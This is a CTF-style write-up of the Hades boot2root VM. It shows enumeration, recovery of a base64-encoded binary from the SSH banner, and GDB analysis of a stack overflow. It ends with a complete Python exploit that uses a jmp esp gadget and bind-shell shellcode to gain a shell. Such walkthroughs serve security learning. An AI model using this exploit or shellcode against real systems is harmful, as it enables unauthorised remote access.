published on in writeup
tags: hades

The Infernal: Hades - Part 1

Hades is a new boot2root challenge pitched at the advanced hobbyist. Solving this challenge will require skills in reverse engineering, exploit development and understanding of computer architecture. The aim of this challenge is to incrementally increase access to the box until you can escalate to root. The /root/flag.txt file is the final goal.

Let’s mosey…

Enumeration

[email protected]:~# nmap -n -sV -A -p- 192.168.127.132
  
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 e1:47:74:6c:b5:9c:8b:76:fd:92:77:91:fa:e7:f4:ee (DSA)
|   2048 9c:a0:0b:f3:63:2e:8e:10:77:e9:a3:5a:dd:f1:6d:46 (RSA)
|_  256 0b:8d:d1:bf:6e:b8:cf:99:38:64:f0:58:bb:3c:45:77 (ECDSA)
65535/tcp open  unknown
1 service unrecognized despite returning data.
[...snip...]
"Welcome\x20to\x20t
SF:he\x20jungle\.\x20\x20\nEnter\x20up\x20to\x20two\x20commands\x20of\x20l
SF:ess\x20than\x20121\x20characters\x20each\.\n\0Got\x20it\n"
[...snip...]

Just from reading the Nmap output, it seems the service on 65535 prompts for some input and was accepting Nmap probes, but not outputting anything useful. I tried connecting to the port with netcat, but it was unable to connect.

[email protected]:~# nc 192.168.127.132 65535
nc: unable to connect to address 192.168.127.132, service 65535

I tried verifying the port was open with Nmap, but it was reported as being closed.

[email protected]:~# nmap -n -sS 192.168.127.132 -p 65535
PORT      STATE  SERVICE
65535/tcp closed unknown

I put Nmap on a loop, to keep checking whether the port automatically came back up. I lost patience after a few minutes, so just rebooted the VM. Good start :D. At this point I assumed one of the Nmap probes somehow crashed the application.

When it came back up, I had a bit of a play.

[email protected]:~# nc 192.168.127.132 65535
Welcome to the jungle.  
Enter up to two commands of less than 121 characters each.

Every input I entered returned a “Got it” message and after two commands are entered, the application stops responding and I had to re-connected. The app does express there’s a character limit for the commands of <121 each, so I sent one large string of 242 A’s.

[email protected]:~# python -c 'print ("A" * 242)' | nc 192.168.127.132 65535
Welcome to the jungle.  
Enter up to two commands of less than 121 characters each.
Got it
Got it

[email protected]:~# nc 192.168.127.132 65535
nc: unable to connect to address 192.168.127.132, service 65535

So that crashed the application, but I currently had no way to analyise or debug what was happening.

With this a dead-end, for now, I turned my attention to the SSH service. I attempted an SSH connection to Hades and was surprised to see a mass of output.

[email protected]:~# ssh 192.168.127.132
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAABUDgAAAAAAADQAIAAIACgAHwAcAAYAAAA0
[...snip...]
aXN0ZXJDbGFzc2VzAHNvY2tldEBAR0xJQkNfMi4wAF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJU
TUNsb25lVGFibGUAX2luaXQAdjAAdjIA
[email protected]'s password:

This looked like it was encoded somehow to me. I copied the text into Burpsuite’s Decoder function and tried various decoding methods. I eventually reached base64 and I could suddenly see some plaintext strings. Including binary functions (socket, strcpy, _start_main etc).

I converted the file into an executable binary, and ran it on my Kali VM.

[email protected]:~/hades# base64 -d file > binary

[email protected]:~/hades# file binary 
binary: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0xc0bc41d21254d7f04d83fec32b7345d3505c0759, not stripped

[email protected]:~/hades# ./binary
  
[email protected]:~/hades# netstat -antp
tcp        0      0 0.0.0.0:65535           0.0.0.0:*               LISTEN      4402/binary     
  
[email protected]:~/hades# nc localhost 65535
Welcome to the jungle.  
Enter up to two commands of less than 121 characters each.

So it looks as though I have a copy of the app running on Hades - time to exploit it!

Burn Baby Burn

[email protected]:~/hades# checksec --file binary 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   binary

There appears to be minimal protection on the binary itself - hopefully this will be a strightforward exercise :D …yeah, right. I loaded it up in GDB and crashed it with a string of A’s. It looks like I control EBP and EIP.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
  
(gdb) i r
eax            0x5     5
ecx            0xb7fbf4e0     -1208224544
edx            0xb7fc0360     -1208220832
ebx            0xb7fbeff4     -1208225804
esp            0xbffff350     0xbffff350
ebp            0x41414141     0x41414141
esi            0x0     0
edi            0x0     0
eip            0x41414141     0x41414141

Using the pattern offset method, I determined that EIP was overwritten after 171 bytes and EBP at 167. I threw some more data at the binary to see what else could be overwritten.

[email protected]:~/hades# python -c 'print ("A" * 163) + ("B" * 4) + ("C" * 4) + ("D" * 50)' | nc localhost 65535

The above stack shows that EIP (red) and EDB (green) have been overwritten and that the buffer of A’s has been split, the majority highlighted in yellow. It looks like the large group of A’s is about 112 bytes in total, plenty of room for some shellcode if I can get there. There are about 28 bytes which I need to remove from ESP, so that it can point directly at my buffer.

I started looking for instructions in the binary which I could use to manipulate ESP, and came across this add ESP instruction.

8048a32: 83 c4 1c add esp,0x1c

This will add 28 (1C) bytes to ESP, as desired. But I need to know what other instructions come after this.

8048a32:       83 c4 1c                add    esp,0x1c
8048a35:       5b                      pop    ebx
8048a36:       5e                      pop    esi
8048a37:       5f                      pop    edi
8048a38:       5d                      pop    ebp
8048a39:       c3                      ret    

I also found a JMP ESP instruction.

8048697: ff e4 jmp esp

So, this looks pretty good - after the add ESP instruction, a bunch of the registers are pop’d followed by a return.

I followed this through in GDB by setting up a hook, and placing a break point on 0x8048a32.

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>disassemble
>x/10x $esp
>i r
>end

[email protected]:~/hades# python -c 'print ("A" * 171) + "\x32\x8a\x04\x08"' | nc localhost 65535

The breakpoint is reached, which means the jump was successful. The advantage of the hook, is that I can now do stepi to execute the next instruction and GDB will automatically print out the instructions in the hook (saving me a lot of time and typing :)). It allows me to see the state of the stack and registers easily after each instruction.

Just before the return is executed, this is how things look:

   0x08048a32 <+82>:  add    esp,0x1c
   0x08048a35 <+85>:  pop    ebx
   0x08048a36 <+86>:  pop    esi
   0x08048a37 <+87>:  pop    edi
   0x08048a38 <+88>:  pop    ebp
=> 0x08048a39 <+89>:   ret    
End of assembler dump.
0xbffff38c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff39c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff3ac: 0x41414141  0x41414141
eax            0x5  5
ecx            0xb7fbf4e0   -1208224544
edx            0xb7fc0360   -1208220832
ebx            0x41414141   1094795585
esp            0xbffff38c   0xbffff38c
ebp            0x41414141   0x41414141
esi            0x41414141   1094795585
edi            0x41414141   1094795585
eip            0x8048a39    0x8048a39 <__libc_csu_init+89>

EIP is currently pointing to 0x8048a39, so when I execute the return it should result in a crash (since 0x41414141 is just bollocks).

No function contains program counter for selected frame.
0x41414141 in ?? ()

A little more analysis shows that when the ret is evenually executed, I return 17 bytes inside the original buffer. I now started to flesh out an exploit in python, aptly dubbed zeus.py.

I needed some shellcode to execute, but in such a small space the usual Metasploit generated stuff was going to be too big. I have the shell-storm Python API installed, so was able to find some small (73 bytes) bind shellcode fairly easily.

The structure of the exploit will go: [JUNK][JMP ESP][SHELLCODE][PADDING][ADD ESP…RET]

EIP will be overridden by the address for add ESP and the pop’s and ret instruction will follow, as demonstrated. This will remove the 17 bytes of junk from the beginning of the buffer. When the ret instruction is followed, execution flow will land on JMP ESP and execute the shellcode. My final exploit is as follows:

#!/usr/bin/env python
  
import socket
  
target = '192.168.127.132'
port = 65535
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
shellcode = ("\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a" # 73 bytes, bind on 11111
"\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68"
"\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1"
"\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd"
"\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f"
"\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x41\xcd\x80")
  
buffer = ("\x90" * 17)
buffer += "\x97\x86\x04\x08" # jmp esp
buffer += shellcode
buffer += ("\x90" * 77) # junk padding
buffer += "\x32\x8a\x04\x08" # add esp etc...
  
try:
        s.connect((target, port))
        s.recv(1024)
        s.send(buffer)
  
except:
        print "Couldn't connect to Hades"

Connect to the bind port with netcat and…

id; whoami
uid=1000(loki) gid=1000(loki) groups=1000(loki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare)
loki